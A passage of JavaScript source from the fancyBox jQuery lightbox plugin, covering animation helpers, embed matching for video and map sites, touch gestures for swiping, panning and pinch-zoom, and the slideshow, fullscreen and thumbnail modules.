if ( matrix && matrix.indexOf( 'matrix' ) !== -1 ) {
matrix = matrix.split('(')[1];
matrix = matrix.split(')')[0];
matrix = matrix.split(',');
} else {
matrix = [];
}
if ( matrix.length ) {
// If IE
if ( matrix.length > 10 ) {
matrix = [ matrix[13], matrix[12], matrix[0], matrix[5] ];
} else {
matrix = [ matrix[5], matrix[4], matrix[0], matrix[3]];
}
matrix = matrix.map(parseFloat);
} else {
matrix = [ 0, 0, 1, 1 ];
}
return {
top : matrix[ 0 ],
left : matrix[ 1 ],
scaleX : matrix[ 2 ],
scaleY : matrix[ 3 ],
opacity : parseFloat( $el.css('opacity') ),
width : position.width,
height : position.height
};
},
// Shortcut for setting "translate3d" properties for element
// Can set be used to set opacity, too
// ========================================================
setTranslate : function( $el, props ) {
var str = '';
var css = {};
if ( !$el || !props ) {
return;
}
if ( props.left !== undefined || props.top !== undefined ) {
str = ( props.left === undefined ? $el.position().top : props.left ) + 'px, ' + ( props.top === undefined ? $el.position().top : props.top ) + 'px';
if ( this.use3d ) {
str = 'translate3d(' + str + ', 0px)';
} else {
str = 'translate(' + str + ')';
}
}
if ( props.scaleX !== undefined && props.scaleY !== undefined ) {
str = (str.length ? str + ' ' : '') + 'scale(' + props.scaleX + ', ' + props.scaleY + ')';
}
if ( str.length ) {
css.transform = str;
}
if ( props.opacity !== undefined ) {
css.opacity = props.opacity;
}
if ( props.width !== undefined ) {
css.width = props.width;
}
if ( props.height !== undefined ) {
css.height = props.height;
}
return $el.css( css );
},
// Common easings for entrances and exits
// t: current time, b: begInnIng value, c: change In value, d: duration
// ====================================================================
easing : {
easeOutCubic : function (t, b, c, d) {
return c * ((t=t/d-1)*t*t + 1) + b;
},
easeInCubic : function (t, b, c, d) {
return c * (t/=d)*t*t + b;
},
easeOutSine : function (t, b, c, d) {
return c * Math.sin(t/d * (Math.PI/2)) + b;
},
easeInSine : function (t, b, c, d) {
return -c * Math.cos(t/d * (Math.PI/2)) + c + b;
}
},
// Stop fancyBox animation
// =======================
stop : function( $el ) {
$el.removeData( 'animateID' );
},
// Animate element using "translate3d"
// Usage:
// animate( element, start properties, end properties, duration, easing, callback )
// or
// animate( element, start properties, end properties, duration, callback )
// =================================================================================
animate : function( $el, from, to, duration, easing, done ) {
var self = this;
var lastTime = null;
var animTime = 0;
var curr;
var diff;
var id;
var frame = function ( timestamp ) {
curr = [];
diff = 0;
// If "stop" method has been called on this element, then just stop
if ( !$el.length || $el.data( 'animateID' ) !== id ) {
return;
}
timestamp = timestamp || Date.now();
if ( lastTime ) {
diff = timestamp - lastTime;
}
lastTime = timestamp;
animTime += diff;
// Are we done?
if ( animTime >= duration ) {
if ( to.scaleX !== undefined && to.scaleY !== undefined && from.width !== undefined && from.height !== undefined ) {
to.width = from.width * to.scaleX;
to.height = from.height * to.scaleY;
to.scaleX = 1;
to.scaleY = 1;
}
self.setTranslate( $el, to );
done();
return;
}
for ( var prop in to ) {
if ( to.hasOwnProperty( prop ) && from[ prop ] !== undefined ) {
if ( from[ prop ] == to[ prop ] ) {
curr[ prop ] = to[ prop ];
} else {
curr[ prop ] = self.easing[ easing ]( animTime, from[ prop ], to[ prop ] - from[ prop ], duration );
}
}
}
self.setTranslate( $el, curr );
requestAFrame( frame );
};
self.animateID = id = self.animateID === undefined ? 1 : self.animateID + 1;
$el.data( 'animateID', id );
if ( done === undefined && $.type(easing) == 'function' ) {
done = easing;
easing = undefined;
}
if ( !easing ) {
easing = "easeOutCubic";
}
done = done || $.noop;
if ( !duration ) {
this.setTranslate( $el, to );
done();
return;
}
if ( from ) {
this.setTranslate( $el, from );
} else {
// We need current values to calculate change in time
from = this.getTranslate( $el );
}
$el.show();
requestAFrame( frame );
}
};
// Event handler for click event to "fancyboxed" links
// ===================================================
function _run( e ) {
var target = e.currentTarget,
opts = e.data ? e.data.options : {},
items = e.data ? e.data.items : [],
value = '',
index = 0;
e.preventDefault();
e.stopPropagation();
// Get all related items and find index for clicked one
if ( $(target).attr( 'data-fancybox' ) ) {
value = $(target).data( 'fancybox' );
}
if ( value ) {
items = items.length ? items.filter( '[data-fancybox="' + value + '"]' ) : $( '[data-fancybox=' + value + ']' );
index = items.index( target );
} else {
items = [ target ];
}
$.fancybox.open( items, opts, index );
}
// Create a jQuery plugin
// ======================
$.fn.fancybox = function (options) {
this.off('click.fb-start').on('click.fb-start', {
items : this,
options : options || {}
}, _run);
return this;
};
// Self initializing plugin
// ========================
$(document).on('click.fb-start', '[data-fancybox]', _run);
}(window, document, window.jQuery));
// ==========================================================================
//
// Media
// Adds additional media type support
//
// ==========================================================================
;(function ($) {
'use strict';
// Formats matching url to final form
var format = function (url, rez, params) {
if (!url) {
return;
}
params = params || '';
if ($.type(params) === "object") {
params = $.param(params, true);
}
$.each(rez, function (key, value) {
url = url.replace('$' + key, value || '');
});
if (params.length) {
url += (url.indexOf('?') > 0 ? '&' : '?') + params;
}
return url;
};
// Object containing properties for each media type
var media = {
youtube: {
matcher: /(youtube\.com|youtu\.be|youtube\-nocookie\.com)\/(watch\?(.*&)?v=|v\/|u\/|embed\/?)?(videoseries\?list=(.*)|[\w-]{11}|\?listType=(.*)&list=(.*))(.*)/i,
params: {
autoplay: 1,
autohide: 1,
fs: 1,
rel: 0,
hd: 1,
wmode: 'transparent',
enablejsapi: 1,
html5: 1
},
paramPlace : 8,
type: 'iframe',
url: '//www.youtube.com/embed/$4',
thumb: '//img.youtube.com/vi/$4/hqdefault.jpg'
},
vimeo: {
matcher: /((player\.)?vimeo(pro)?\.com)\/(video\/)?([\d]+)?(\?(.*))?/,
params: {
autoplay: 1,
hd: 1,
show_title: 1,
show_byline: 1,
show_portrait: 0,
fullscreen: 1,
api: 1
},
paramPlace : 7,
type: 'iframe',
url: '//player.vimeo.com/video/$5'
},
metacafe: {
matcher: /metacafe.com\/watch\/(\d+)\/(.*)?/,
type: 'iframe',
url: '//www.metacafe.com/embed/$1/?ap=1'
},
dailymotion: {
matcher: /dailymotion.com\/video\/(.*)\/?(.*)/,
params: {
additionalInfos: 0,
autoStart: 1
},
type: 'iframe',
url: '//www.dailymotion.com/embed/video/$1'
},
vine: {
matcher: /vine.co\/v\/([a-zA-Z0-9\?\=\-]+)/,
type: 'iframe',
url: '//vine.co/v/$1/embed/simple'
},
instagram: {
matcher: /(instagr\.am|instagram\.com)\/p\/([a-zA-Z0-9_\-]+)\/?/i,
type: 'image',
url: '//$1/p/$2/media/?size=l'
},
// Examples:
// http://maps.google.com/?ll=48.857995,2.294297&spn=0.007666,0.021136&t=m&z=16
// http://maps.google.com/?ll=48.857995,2.294297&spn=0.007666,0.021136&t=m&z=16
// https://www.google.lv/maps/place/Googleplex/@37.4220041,-122.0833494,17z/data=!4m5!3m4!1s0x0:0x6c296c66619367e0!8m2!3d37.4219998!4d-122.0840572
google_maps: {
matcher: /(maps\.)?google\.([a-z]{2,3}(\.[a-z]{2})?)\/(((maps\/(place\/(.*)\/)?\@(.*),(\d+.?\d+?)z))|(\?ll=))(.*)?/i,
type: 'iframe',
url: function (rez) {
return '//maps.google.' + rez[2] + '/?ll=' + ( rez[9] ? rez[9] + '&z=' + Math.floor( rez[10] ) + ( rez[12] ? rez[12].replace(/^\//, "&") : '' ) : rez[12] ) + '&output=' + ( rez[12] && rez[12].indexOf('layer=c') > 0 ? 'svembed' : 'embed' );
}
}
};
$(document).on('onInit.fb', function (e, instance) {
$.each(instance.group, function( i, item ) {
var url = item.src || '',
type = false,
thumb,
rez,
params,
urlParams,
o,
id,
provider;
// Skip items that already have content type
if ( item.type ) {
return;
}
// Look for any matching media type
$.each(media, function ( n, el ) {
rez = url.match(el.matcher);
o = {};
provider = n;
if (!rez) {
return;
}
type = el.type;
if ( el.paramPlace && rez[ el.paramPlace ] ) {
urlParams = rez[ el.paramPlace ];
if ( urlParams[ 0 ] == '?') {
urlParams = urlParams.substring(1);
}
urlParams = urlParams.split('&');
for ( var m = 0; m < urlParams.length; ++m ) {
var p = urlParams[ m ].split('=', 2);
if ( p.length == 2 ) {
o[ p[0] ] = decodeURIComponent( p[1].replace(/\+/g, " ") );
}
}
}
if ( el.idPlace ) {
id = rez[ el.idPlace ];
}
params = $.extend( true, {}, el.params, item.opts[ n ], o );
url = $.type(el.url) === "function" ? el.url.call(this, rez, params, item) : format(el.url, rez, params);
thumb = $.type(el.thumb) === "function" ? el.thumb.call(this, rez, params, item) : format(el.thumb, rez);
return false;
});
// If it is found, then change content type and update the url
if ( type ) {
item.src = url;
item.type = type;
if ( !item.opts.thumb && !(item.opts.$thumb && item.opts.$thumb.length ) ) {
item.opts.thumb = thumb;
}
if ( id ) {
item.opts.id = provider + '-' + id;
}
if ( type === 'iframe' ) {
$.extend(true, item.opts, {
iframe : {
preload : false,
scrolling : "no"
},
smallBtn : false,
closeBtn : true,
fullScreen : false,
slideShow : false
});
item.opts.slideClass += ' fancybox-slide--video';
}
} else {
// If no content type is found, then set it to `iframe` as fallback
item.type = 'iframe';
}
});
});
}(window.jQuery));
// ==========================================================================
//
// Guestures
// Adds touch guestures, handles click and tap events
//
// ==========================================================================
;(function (window, document, $) {
'use strict';
var requestAFrame = (function() {
return window.requestAnimationFrame ||
window.webkitRequestAnimationFrame ||
window.mozRequestAnimationFrame ||
function( callback ) {
window.setTimeout(callback, 1000 / 60); };
})();
var pointers = function( e ) {
var result = [];
e = e.originalEvent || e || window.e;
e = e.touches && e.touches.length ? e.touches : ( e.changedTouches && e.changedTouches.length ? e.changedTouches : [ e ] );
for ( var key in e ) {
if ( e[ key ].pageX ) {
result.push( { x : e[ key ].pageX, y : e[ key ].pageY } );
} else if ( e[ key ].clientX ) {
result.push( { x : e[ key ].clientX, y : e[ key ].clientY } );
}
}
return result;
};
var distance = function( point2, point1, what ) {
if ( what === 'x' ) {
return point2.x - point1.x;
} else if ( what === 'y' ) {
return point2.y - point1.y;
}
return Math.sqrt( Math.pow( point2.x - point1.x, 2 ) + Math.pow( point2.y - point1.y, 2 ) );
};
var isClickable = function( $el ) {
return $el.is('a') || $el.is('button') || $el.is('input') || $el.is('select') || $el.is('textarea') || $.isFunction( $el.get(0).onclick );
};
var hasScrollbars = function( el ) {
var overflowY = window.getComputedStyle( el )['overflow-y'];
var overflowX = window.getComputedStyle( el )['overflow-x'];
var vertical = (overflowY === 'scroll' || overflowY === 'auto') && el.scrollHeight > el.clientHeight;
var horizontal = (overflowX === 'scroll' || overflowX === 'auto') && el.scrollWidth > el.clientWidth;
return vertical || horizontal;
};
var isScrollable = function ( $el ) {
var rez = false;
while ( true ) {
rez = hasScrollbars( $el.get(0) );
if ( rez ) {
break;
}
$el = $el.parent();
if ( !$el.length || $el.hasClass('fancybox-slider') || $el.is('body') ) {
break;
}
}
return rez;
};
var Guestures = function ( instance ) {
var self = this;
self.instance = instance;
self.$wrap = instance.$refs.slider_wrap;
self.$slider = instance.$refs.slider;
self.$container = instance.$refs.container;
self.destroy();
self.$wrap.on('touchstart.fb mousedown.fb', $.proxy(self, "ontouchstart"));
};
Guestures.prototype.destroy = function() {
this.$wrap.off('touchstart.fb mousedown.fb touchmove.fb mousemove.fb touchend.fb touchcancel.fb mouseup.fb mouseleave.fb');
};
Guestures.prototype.ontouchstart = function( e ) {
var self = this;
var $target = $( e.target );
var instance = self.instance;
var current = instance.current;
var $content = current.$content || current.$placeholder;
var frame = function() {
if ( self.sliderNewPos ) {
$.fancybox.setTranslate( self.$slider, self.sliderNewPos );
self.sliderNewPos = null;
}
if ( self.contentNewPos ) {
$.fancybox.setTranslate( self.$content, self.contentNewPos );
self.contentNewPos = null;
}
if ( self.isSwiping || self.isPanning || self.isZooming ) {
requestAFrame( frame );
}
};
// Ignore taping on links, buttons and scrollable items
if ( isClickable( $target ) || isClickable( $target.parent() ) || ( isScrollable( $target ) && !$target.hasClass('fancybox-slide') ) ) {
return;
}
e.stopPropagation();
e.preventDefault();
if ( !current || self.instance.isAnimating || self.instance.isClosing ) {
return;
}
self.startPoints = pointers( e );
// Prevent zooming if already swiping
if ( self.startPoints.length > 1 && !current.isMoved ) {
return;
}
self.$wrap.off('touchmove.fb mousemove.fb', $.proxy(self, "ontouchmove"));
self.$wrap.off('touchend.fb touchcancel.fb mouseup.fb mouseleave.fb', $.proxy(self, "ontouchend"));
self.$wrap.on('touchmove.fb mousemove.fb', $.proxy(self, "ontouchmove"));
self.$wrap.on('touchend.fb touchcancel.fb mouseup.fb mouseleave.fb', $.proxy(self, "ontouchend"));
self.$target = $target;
self.$content = $content;
self.startTime = new Date().getTime();
self.distanceX = self.distanceY = self.distance = 0;
self.canvasWidth = Math.round( current.$slide.width() );
self.canvasHeight = Math.round( current.$slide.height() );
self.canTap = current.isMoved;
self.isPanning = false;
self.isSwiping = false;
self.isZooming = false;
self.sliderStartPos = $.fancybox.getTranslate( self.$slider );
self.sliderNewPos = null;
self.contentStartPos = $.fancybox.getTranslate( self.$content );
self.contentNewPos = null;
if ( self.startPoints.length == 1 ) {
if ( current.type === 'image' && ( self.contentStartPos.width > self.canvasWidth + 1 || self.contentStartPos.height > self.canvasHeight + 1 ) ) {
$.fancybox.stop( self.$content );
self.isPanning = true;
} else {
$.fancybox.stop( self.$slider );
self.isSwiping = true;
}
self.$container.addClass('fancybox-controls--isGrabbing');
}
if ( current.type === 'image' && !current.hasError && self.startPoints.length == 2 && ( current.isLoaded || current.$ghost ) ) {
self.isZooming = true;
self.canTap = false;
$.fancybox.stop( self.$content );
self.centerPointStartX = ((self.startPoints[0].x + self.startPoints[1].x) / 2) - $(window).scrollLeft();
self.centerPointStartY = ((self.startPoints[0].y + self.startPoints[1].y) / 2) - $(window).scrollTop();
self.percentageOfImageAtPinchPointX = ( self.centerPointStartX - self.contentStartPos.left ) / self.contentStartPos.width;
self.percentageOfImageAtPinchPointY = ( self.centerPointStartY - self.contentStartPos.top ) / self.contentStartPos.height;
self.startDistanceBetweenFingers = distance( self.startPoints[0], self.startPoints[1] );
}
frame();
};
Guestures.prototype.ontouchmove = function( e ) {
var self = this;
e.preventDefault();
if ( self.instance.isAnimating ) {
return;
}
self.newPoints = pointers( e );
if ( !self.newPoints.length ) {
return;
}
self.distanceX = distance( self.newPoints[0], self.startPoints[0], 'x' );
self.distanceY = distance( self.newPoints[0], self.startPoints[0], 'y' );
self.distance = distance( self.newPoints[0], self.startPoints[0] );
// Skip false ontouchmove events (Chrome)
if ( self.distance > 0 ) {
if ( self.isSwiping ) {
self.onSwipe();
} else if ( self.isPanning ) {
self.onPan();
} else if ( self.isZooming ) {
self.onZoom();
}
}
};
Guestures.prototype.onSwipe = function() {
var self = this;
var swiping = self.isSwiping;
var angle;
if ( swiping === true ) {
if ( Math.abs( self.distance ) > 10 ) {
angle = Math.abs( Math.atan2( self.distanceY, self.distanceX ) * 180 / Math.PI );
swiping = ( angle > 45 && angle < 135 ) || self.instance.group.length <= 1 ? 'y' : 'x';
if ( self.instance.opts.touch.vertical === false || ( self.instance.opts.touch.vertical === 'auto' && $( window ).width() > 800 ) ) {
swiping = 'x';
}
self.isSwiping = swiping;
self.canTap = false;
self.instance.current.isMoved = false;
self.instance.allowZoomIn = false;
// Reset points to avoid jumping, because we dropped first swipes to calculate the angle
self.startPoints = self.newPoints;
}
} else {
self.sliderNewPos = {
top : swiping == 'x' ? 0 : self.sliderStartPos.top + self.distanceY,
left : swiping == 'y' ? self.sliderStartPos.left : self.sliderStartPos.left + self.distanceX
};
}
};
Guestures.prototype.onPan = function() {
var self = this;
var newOffsetX, newOffsetY, newPos;
self.canTap = false;
if ( self.contentStartPos.width > self.canvasWidth ) {
newOffsetX = self.contentStartPos.left + self.distanceX;
} else {
newOffsetX = self.contentStartPos.left;
}
newOffsetY = self.contentStartPos.top + self.distanceY;
newPos = self.limitMovement( newOffsetX, newOffsetY, self.contentStartPos.width, self.contentStartPos.height );
newPos.scaleX = self.contentStartPos.scaleX;
newPos.scaleY = self.contentStartPos.scaleY;
self.contentNewPos = newPos;
self.contentLastPos = newPos;
};
// Make panning sticky to the edges
Guestures.prototype.limitMovement = function( newOffsetX, newOffsetY, newWidth, newHeight ) {
var self = this;
var minTranslateX, minTranslateY, maxTranslateX, maxTranslateY;
var canvasWidth = self.canvasWidth;
var canvasHeight = self.canvasHeight;
var currentOffsetX = self.contentStartPos.left;
var currentOffsetY = self.contentStartPos.top;
var distanceX = self.distanceX;
var distanceY = self.distanceY;
// Slow down proportionally to traveled distance
minTranslateX = Math.max(0, canvasWidth * 0.5 - newWidth * 0.5 );
minTranslateY = Math.max(0, canvasHeight * 0.5 - newHeight * 0.5 );
maxTranslateX = Math.min( canvasWidth - newWidth, canvasWidth * 0.5 - newWidth * 0.5 );
maxTranslateY = Math.min( canvasHeight - newHeight, canvasHeight * 0.5 - newHeight * 0.5 );
if ( newWidth > canvasWidth ) {
// ->
if ( distanceX > 0 && newOffsetX > minTranslateX ) {
newOffsetX = minTranslateX - 1 + Math.pow(-minTranslateX + currentOffsetX + distanceX, 0.8 ) || 0;
}
// <-
if ( distanceX < 0 && newOffsetX < maxTranslateX ) {
newOffsetX = maxTranslateX + 1 - Math.pow( maxTranslateX - currentOffsetX - distanceX, 0.8 ) || 0;
}
}
if ( newHeight > canvasHeight ) {
// \/
if ( distanceY > 0 && newOffsetY > minTranslateY ) {
newOffsetY = minTranslateY - 1 + Math.pow(-minTranslateY + currentOffsetY + distanceY, 0.8 ) || 0;
}
// /\
if ( distanceY < 0 && newOffsetY < maxTranslateY ) {
newOffsetY = maxTranslateY + 1 - Math.pow ( maxTranslateY - currentOffsetY - distanceY, 0.8 ) || 0;
}
}
return {
top : newOffsetY,
left : newOffsetX
};
};
Guestures.prototype.limitPosition = function( newOffsetX, newOffsetY, newWidth, newHeight ) {
var self = this;
var canvasWidth = self.canvasWidth;
var canvasHeight = self.canvasHeight;
if ( newWidth > canvasWidth ) {
newOffsetX = newOffsetX > 0 ? 0 : newOffsetX;
newOffsetX = newOffsetX < canvasWidth - newWidth ? canvasWidth - newWidth : newOffsetX;
} else {
// Center horizontally
newOffsetX = Math.max( 0, canvasWidth / 2 - newWidth / 2 );
}
if ( newHeight > canvasHeight ) {
newOffsetY = newOffsetY > 0 ? 0 : newOffsetY;
newOffsetY = newOffsetY < canvasHeight - newHeight ? canvasHeight - newHeight : newOffsetY;
} else {
// Center vertically
newOffsetY = Math.max( 0, canvasHeight / 2 - newHeight / 2 );
}
return {
top : newOffsetY,
left : newOffsetX
};
};
Guestures.prototype.onZoom = function() {
var self = this;
// Calculate current distance between points to get pinch ratio and new width and height
var currentWidth = self.contentStartPos.width;
var currentHeight = self.contentStartPos.height;
var currentOffsetX = self.contentStartPos.left;
var currentOffsetY = self.contentStartPos.top;
var endDistanceBetweenFingers = distance( self.newPoints[0], self.newPoints[1] );
var pinchRatio = endDistanceBetweenFingers / self.startDistanceBetweenFingers;
var newWidth = Math.floor( currentWidth * pinchRatio );
var newHeight = Math.floor( currentHeight * pinchRatio );
// This is the translation due to pinch-zooming
var translateFromZoomingX = (currentWidth - newWidth) * self.percentageOfImageAtPinchPointX;
var translateFromZoomingY = (currentHeight - newHeight) * self.percentageOfImageAtPinchPointY;
//Point between the two touches
var centerPointEndX = ((self.newPoints[0].x + self.newPoints[1].x) / 2) - $(window).scrollLeft();
var centerPointEndY = ((self.newPoints[0].y + self.newPoints[1].y) / 2) - $(window).scrollTop();
// And this is the translation due to translation of the centerpoint
// between the two fingers
var translateFromTranslatingX = centerPointEndX - self.centerPointStartX;
var translateFromTranslatingY = centerPointEndY - self.centerPointStartY;
// The new offset is the old/current one plus the total translation
var newOffsetX = currentOffsetX + ( translateFromZoomingX + translateFromTranslatingX );
var newOffsetY = currentOffsetY + ( translateFromZoomingY + translateFromTranslatingY );
var newPos = {
top : newOffsetY,
left : newOffsetX,
scaleX : self.contentStartPos.scaleX * pinchRatio,
scaleY : self.contentStartPos.scaleY * pinchRatio
};
self.canTap = false;
self.newWidth = newWidth;
self.newHeight = newHeight;
self.contentNewPos = newPos;
self.contentLastPos = newPos;
};
Guestures.prototype.ontouchend = function( e ) {
var self = this;
var current = self.instance.current;
var dMs = Math.max( (new Date().getTime() ) - self.startTime, 1);
var swiping = self.isSwiping;
var panning = self.isPanning;
var zooming = self.isZooming;
self.endPoints = pointers( e );
if ( self.endPoints.length > 1 && ( self.isSwiping === 'x' || self.isSwiping === 'y' ) ) {
return;
}
self.$container.removeClass('fancybox-controls--isGrabbing');
self.$wrap.off('touchmove.fb mousemove.fb', $.proxy(this, "ontouchmove"));
self.$wrap.off('touchend.fb touchcancel.fb mouseup.fb mouseleave.fb', $.proxy(this, "ontouchend"));
self.isSwiping = false;
self.isPanning = false;
self.isZooming = false;
if ( self.canTap ) {
return self.ontap();
}
// Speed in px/ms
self.velocityX = self.distanceX / dMs * 0.5;
self.velocityY = self.distanceY / dMs * 0.5;
self.speed = current.opts.speed;
self.speedX = Math.max( self.speed * 0.5, Math.min( self.speed * 1.5, ( 1 / Math.abs( self.velocityX ) ) * self.speed ) );
self.speedY = Math.max( self.speed * 0.5, Math.min( self.speed * 1.5, ( 1 / Math.abs( self.velocityY ) ) * self.speed ) );
if ( swiping ) {
self.endSwiping( swiping );
} else if ( panning ) {
self.endPanning();
} else if ( zooming ) {
self.endZooming();
}
return;
};
Guestures.prototype.endSwiping = function( swiping ) {
var self = this;
// Close if swiped vertically / navigate if horizontally
if ( swiping == 'y' && Math.abs( self.distanceY ) > 50 ) {
// Continue vertical movement
$.fancybox.animate( self.$slider, null, {
top : self.sliderStartPos.top + self.distanceY + self.velocityY * 150,
left : self.sliderStartPos.left,
opacity : 0
}, self.speedY );
self.instance.close( true );
} else if ( swiping == 'x' && self.distanceX > 50 ) {
self.instance.previous( self.speedX );
} else if ( swiping == 'x' && self.distanceX < -50 ) {
self.instance.next( self.speedX );
} else {
// Move back to center
self.instance.update( false, true, self.speedX );
}
};
Guestures.prototype.endPanning = function() {
var self = this;
var newOffsetX = self.contentLastPos.left + ( self.velocityX * self.speed * 2 );
var newOffsetY = self.contentLastPos.top + ( self.velocityY * self.speed * 2 );
var newPos = self.limitPosition( newOffsetX, newOffsetY, self.contentStartPos.width, self.contentStartPos.height );
newPos.width = self.contentStartPos.width;
newPos.height = self.contentStartPos.height;
$.fancybox.animate( self.$content, null, newPos, self.speed, "easeOutSine" );
};
Guestures.prototype.endZooming = function() {
var self = this;
var current = self.instance.current;
var newPos;
var newOffsetX = self.contentLastPos.left;
var newOffsetY = self.contentLastPos.top;
var newWidth = self.newWidth;
var newHeight = self.newHeight;
var reset = {
top : newOffsetY,
left : newOffsetX,
width : newWidth,
height : newHeight,
scaleX : 1,
scaleY : 1
};
// Reset scalex/scaleY values; this helps for perfomance and does not break animation
$.fancybox.setTranslate( self.$content, reset );
if ( newWidth < self.canvasWidth && newHeight < self.canvasHeight ) {
self.instance.scaleToFit( 150 );
} else if ( newWidth > current.width || newHeight > current.height ) {
self.instance.scaleToActual( self.centerPointStartX, self.centerPointStartY, 150 );
} else {
newPos = self.limitPosition( newOffsetX, newOffsetY, newWidth, newHeight );
$.fancybox.animate( self.$content, null, newPos, self.speed, "easeOutSine" );
}
};
Guestures.prototype.ontap = function() {
var self = this;
var x = self.endPoints[0].x;
var y = self.endPoints[0].y;
x = x - self.$wrap.offset().left;
y = y - self.$wrap.offset().top;
if ( !$.fancybox.isTouch ) {
if ( self.instance.opts.closeClickOutside && self.$target.is('.fancybox-slide') ) {
self.instance.close();
return;
}
if ( self.instance.current.type == 'image' && self.instance.current.isMoved ) {
if ( self.instance.canPan() ) {
self.instance.scaleToFit();
} else if ( self.instance.isScaledDown() ) {
self.instance.scaleToActual( x, y );
} else if ( self.instance.group.length < 2 ) {
self.instance.close();
}
}
return;
}
// Double tap
if ( self.tapped ) {
self.tapped = false;
clearTimeout( self.id );
if (Math.abs( x - self.x ) > 50 || Math.abs( y - self.y ) > 50 || !self.instance.current.isMoved ) {
return this;
}
if ( !( self.instance.current.isLoaded || self.instance.current.$ghost ) ) {
return;
}
if ( self.instance.current.type == 'image' ) {
if ( self.instance.canPan() ) {
self.instance.scaleToFit();
} else if ( self.instance.isScaledDown() ) {
self.instance.scaleToActual( x, y );
}
}
} else {
// Single tap
self.tapped = true;
self.x = x;
self.y = y;
self.id = setTimeout(function() {
self.tapped = false;
self.instance.toggleControls( true );
}, 300);
}
return this;
};
$(document).on('onActivate.fb', function (e, instance) {
if ( instance.opts.touch && !instance.Guestures ) {
instance.Guestures = new Guestures( instance );
}
});
$(document).on('beforeClose.fb', function (e, instance) {
if ( instance.Guestures ) {
instance.Guestures.destroy();
}
});
}(window, document, window.jQuery));
// ==========================================================================
//
// SlideShow
// Enables slideshow functionality
//
// Example of usage:
// $.fancybox.getInstance().slideShow.start()
//
// ==========================================================================
;(function (document, $) {
'use strict';
var SlideShow = function( instance ) {
this.instance = instance;
this.init();
};
$.extend( SlideShow.prototype, {
timer : null,
speed : 3000,
$button : null,
init : function() {
var self = this;
self.$button = $('<button data-fancybox-play class="fancybox-button fancybox-button--play" title="Slideshow (P)"></button>')
.appendTo( self.instance.$refs.buttons );
self.instance.$refs.container.on('click', '[data-fancybox-play]', function() {
self.toggle();
});
},
set : function() {
var self = this;
// Check if reached last element
if (self.instance && self.instance.current && self.instance.currIndex < self.instance.group.length - 1) {
self.timer = setTimeout(function() {
self.instance.next();
}, self.speed);
} else {
self.stop();
}
},
clear : function() {
var self = this;
clearTimeout( self.timer );
self.timer = null;
},
start : function() {
var self = this;
self.stop();
if (self.instance && self.instance.current && self.instance.currIndex < self.instance.group.length - 1) {
self.instance.$refs.container.on({
'beforeLoad.fb.player' : $.proxy(self, "clear"),
'onComplete.fb.player' : $.proxy(self, "set"),
});
if ( self.instance.current.isComplete ) {
self.set();
} else {
self.timer = true;
}
self.instance.$refs.container.trigger('onPlayStart');
self.$button.addClass('fancybox-button--pause');
}
},
stop: function() {
var self = this;
self.clear();
self.instance.$refs.container
.trigger('onPlayEnd')
.off('.player');
self.$button.removeClass('fancybox-button--pause');
},
toggle : function() {
var self = this;
if ( self.timer ) {
self.stop();
} else {
self.start();
}
}
});
$(document).on('onInit.fb', function(e, instance) {
if ( !!instance.opts.slideShow && !instance.SlideShow && instance.group.length > 1 ) {
instance.SlideShow = new SlideShow( instance );
}
});
$(document).on('beforeClose.fb onDeactivate.fb', function(e, instance) {
if ( instance.SlideShow ) {
instance.SlideShow.stop();
}
});
}(document, window.jQuery));
// ==========================================================================
//
// FullScreen
// Adds fullscreen functionality
//
// ==========================================================================
;(function (document, $) {
'use strict';
var FullScreen = function( instance ) {
this.instance = instance;
this.init();
};
$.extend( FullScreen.prototype, {
$button : null,
init : function() {
var self = this;
if ( !self.isAvailable() ) {
return;
}
self.$button = $('<button data-fancybox-fullscreen class="fancybox-button fancybox-button--fullscreen" title="Full screen (F)"></button>')
.appendTo( self.instance.$refs.buttons );
self.instance.$refs.container.on('click.fb-fullscreen', '[data-fancybox-fullscreen]', function(e) {
e.stopPropagation();
e.preventDefault();
self.toggle();
});
$(document).on('onUpdate.fb', function(e, instance) {
self.$button.toggle( !!instance.current.opts.fullScreen );
self.$button.toggleClass('fancybox-button-shrink', self.isActivated() );
});
$(document).on('afterClose.fb', function() {
self.exit();
});
},
isAvailable : function() {
var element = this.instance.$refs.container.get(0);
return !!(element.requestFullscreen || element.msRequestFullscreen || element.mozRequestFullScreen || element.webkitRequestFullscreen);
},
isActivated : function() {
return !(!document.fullscreenElement && !document.mozFullScreenElement && !document.webkitFullscreenElement && !document.msFullscreenElement);
},
launch : function() {
var element = this.instance.$refs.container.get(0);
if ( !element || this.instance.isClosing ) {
return;
}
if (element.requestFullscreen) {
element.requestFullscreen();
} else if (element.msRequestFullscreen) {
element.msRequestFullscreen();
} else if (element.mozRequestFullScreen) {
element.mozRequestFullScreen();
} else if (element.webkitRequestFullscreen) {
element.webkitRequestFullscreen(element.ALLOW_KEYBOARD_INPUT);
}
},
exit : function() {
if (document.exitFullscreen) {
document.exitFullscreen();
} else if (document.msExitFullscreen) {
document.msExitFullscreen();
} else if (document.mozCancelFullScreen) {
document.mozCancelFullScreen();
} else if (document.webkitExitFullscreen) {
document.webkitExitFullscreen();
}
},
toggle : function() {
if ( this.isActivated() ) {
this.exit();
} else if ( this.isAvailable() ) {
this.launch();
}
}
});
$(document).on('onInit.fb', function(e, instance) {
if ( !!instance.opts.fullScreen && !instance.FullScreen) {
instance.FullScreen = new FullScreen( instance );
}
});
}(document, window.jQuery));
// ==========================================================================
//
// Thumbs
// Displays thumbnails in a grid
//
// ==========================================================================
;(function (document, $) {
'use strict';
var FancyThumbs = function( instance ) {
this.instance = instance;
this.init();
};
$.extend( FancyThumbs.prototype, {
$button : null,
$grid : null,
$list : null,
isVisible : false,
init : function() {
var self = this;
self.$button = $('<button data-fancybox-thumbs class="fancybox-button fancybox-button--thumbs" title="Thumbnails (G)"></button>')
.appendTo( this.instance.$refs.buttons )
.on('touchend click', function(e) {
e.stopPropagation();
e.preventDefault();
self.toggle();
});
},
create : function() {
var instance = this.instance,
list,
src;
this.$grid = $('<div class="fancybox-thumbs"></div>').appendTo( instance.$refs.container );
list = '<ul>';
$.each(instance.group, function( i, item ) {
src = item.opts.thumb || ( item.opts.$thumb ? item.opts.$thumb.attr('src') : null );
if ( !src && item.type === 'image' ) {
src = item.src;
}
if ( src && src.length ) {
list += '<li data-index="' + i + '" tabindex="0" class="fancybox-thumbs-loading"><img data-src="' + src + '" /></li>';
}
});
list += '</ul>';
this.$list = $( list ).appendTo( this.$grid ).on('click touchstart', 'li', function() {
instance.jumpTo( $(this).data('index') );
});
this.$list.find('img').hide().one('load', function() {
var $parent = $(this).parent().removeClass('fancybox-thumbs-loading'),
thumbWidth = $parent.outerWidth(),
